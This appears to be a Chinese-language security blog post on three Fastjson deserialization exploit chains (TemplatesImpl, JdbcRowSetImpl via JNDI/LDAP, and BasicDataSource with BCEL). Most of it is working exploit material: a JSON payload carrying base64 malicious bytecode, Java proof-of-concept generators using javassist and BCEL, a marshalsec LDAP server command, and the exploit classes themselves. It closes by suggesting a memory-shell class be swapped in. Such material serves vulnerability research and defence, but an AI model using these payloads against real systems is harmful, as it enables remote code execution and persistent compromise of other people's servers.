Fastjson反序列化一共有三条利用链
- TempLatesImpl:实战中不适用
- JdbcRowSetImpl: 实际运用中较为广泛
- BasicDataSource(BCEL)
反序列化核心
反序列化是通过字符串或字节流,利用Java的反射机制重构一个对象。主要有两种机制:
- Java Bean反序列化机制:通过反射机制实例化一个类,然后直接设置字段的值。
-
- 典型实现:JDK原生、Hessian等。
- Property反序列化机制:通过反射机制实例化一个类,通过调用setter方法设置字段的值。
-
- 典型实现:Fastjson、Jackson等。
Fastjson中的Property-based反序列化漏洞
- 在AutoType过程中,Fastjson会调用setter/getter方法:
-
parse()
:通过构造器方法实例化类,并调用setter方法。parseObject()
:是parse
方法的封装,除调用setter外,还会调用getter方法(因为会调用toJSON
)。
TempLatesImpl小结
TempLatesImpl的版本限制:
- Fastjson 1.22-1.24
TemplatesImpl的利用条件:
- 反序列化时需要开启 Feature.SupportNonPublicField
Feature.SupportNonPublicField
的作用是支持反序列化使用非public修饰符保护的属性,在Fastjson中序列化private属性
来查看一下TemplatesImpl
这里可以看到这几个成员变量都是private进行修饰的。不使用Feature.SupportNonPublicField
参数则无法反序列化成功,无法进行利用。
使用TempLatesImpl利用链构造恶意类的五个参数:
- @type:存放反序列化时的目标类型
- _name :调用
getTransletInstance
时会判断其是否为null,为null直接return,不会往下进行执行,利用链就断了,可参考cc2和cc4链 - _tfactory :
defineTransletClasses
中会调用其getExternalExtensionsMap
方法,为null会出现异常,但在前面分析jdk7u21链的时候,部分jdk并未发现该方法 - _outputProperties :漏洞利用时的关键参数,由于Fastjson反序列化过程中会调用其
getOutputProperties
方法,导致bytecodes
字节码成功实例化,造成命令执行 - _bytecodes :继承
AbstractTranslet
类的恶意类字节码,并且使用Base64
编码
构造的恶意类:
package nice0e3;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
public class fj_poc {
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",
\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],
'_name':'a.b',
'_tfactory':{ },
\"_outputProperties\":{ }
}";
Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
}
}
**两个POC:**也就是_bytecodes经过base64解码后的数据
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Test t = new Test();
}
}
但在使用运用中,个人更倾向于这个POC Two
package com.nice0e3;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.net.util.Base64;
public class gadget {
public static class test{
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(test.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "nice0e3"+System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
try {
byte[] evilCode = cc.toBytecode();
String evilCode_base64 = Base64.encodeBase64String(evilCode);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{"+
"\"@type\":\"" + NASTY_CLASS +"\","+
"\"_bytecodes\":[\""+evilCode_base64+"\"],"+
"'_name':'a.b',"+
"'_tfactory':{ },"+
"'_outputProperties':{ }"+
"}\n";
System.out.println(text1);
ParserConfig config = new ParserConfig();
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
}
JdbcRowSetImpl小结
JdbcRowSetImpl的版本限制:
- 使用RMI利用的JDK版本 ≤ JDK 6u132、7u122、8u113
- 使用LADP利用的JDK版本 ≤ 6u211 、7u201、8u191
JdbcRowSetImpl的利用条件:
- 服务器出网
- lookup(URL)参数可控
使用 JdbcRowSetImpl 利用链构造恶意类的三个参数:
- @type:目标反序列化类名
- dataSourceName:RMI注册中心绑定恶意服务
- autoCommit :在jdbcRowSetImpl链反序列化中,会调用
setAutoCommit
方法
攻击流程:
- 首先是这个lookup(URI)参数可控
- 攻击者控制URI参数为指定为恶意的一个RMI服务
- RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类;
- 目标在进行
lookup()
操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()
获取外部远程对象实例; - 攻击者可以在Factory类文件的静态代码块处写入恶意代码,达到RCE的效果;
首先启动一个LDAP服务端:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:80/#Exploit 1389
Exploit代码,需将代码编译成class文件然后挂在到web中
import java.io.IOException;
public class Exploit {
public Exploit() {
}
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
}
POC代码:
package com.nice0e3;
import com.alibaba.fastjson.JSON;
//jdbcRowSetImpl类里面,由于实现了parseObject、set、get、datasourcename、autocommit、get、set
public class POC {
public static void main(String[] args) {
//String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}
BasicDataSource小结
BCEL的全名是Apache Commons BCEL,Apache Commons项目下的一个子项目,包含在JDK的原生库中
我们可以通过BCEL提供的两个类 Repository 和 Utility 来利用:
- Repository 用于将一个Java Class先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码
- Utility 用于将原生的字节码转换成BCEL格式的字节码
生成的BCEL格式大概如下:
$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$......
将这种格式的字符串,作为"字节码"传入new ClassLoader().loadClass(code).newInstance();
将会被实例化,当我们在Fastjson反序列化中构造出这种链,将会造成反序列化漏洞
添加tomcat依赖
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
来看到poc
{
{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}
使用该poc加载bcel字节码。
编写一个test类
package com;
import java.io.IOException;
public class test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
package com;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
class fj_test {
public static void main(String[] argv) throws Exception{
JavaClass cls = Repository.lookupClass(test.class);
String code = Utility.encode(cls.getBytes(), true);//转换为字节码并编码为bcel字节码
String poc = "{\n" +
" {\n" +
" \"aaa\": {\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\": \"$$BCEL$$"+ code+ "\"\n" +
" }\n" +
" }: \"bbb\"\n" +
"}";
System.out.println(poc);
JSON.parse(poc);
}
}
要打内存马替换为内存马class即可
在tomcat8以后和tomcat7的版本存在一点小差异
- tomcat7使用的类是
org.apache.tomcat.dbcp.dbcp.BasicDataSource
- 在8版本以后名为
org.apache.tomcat.dbcp.dbcp2.BasicDataSource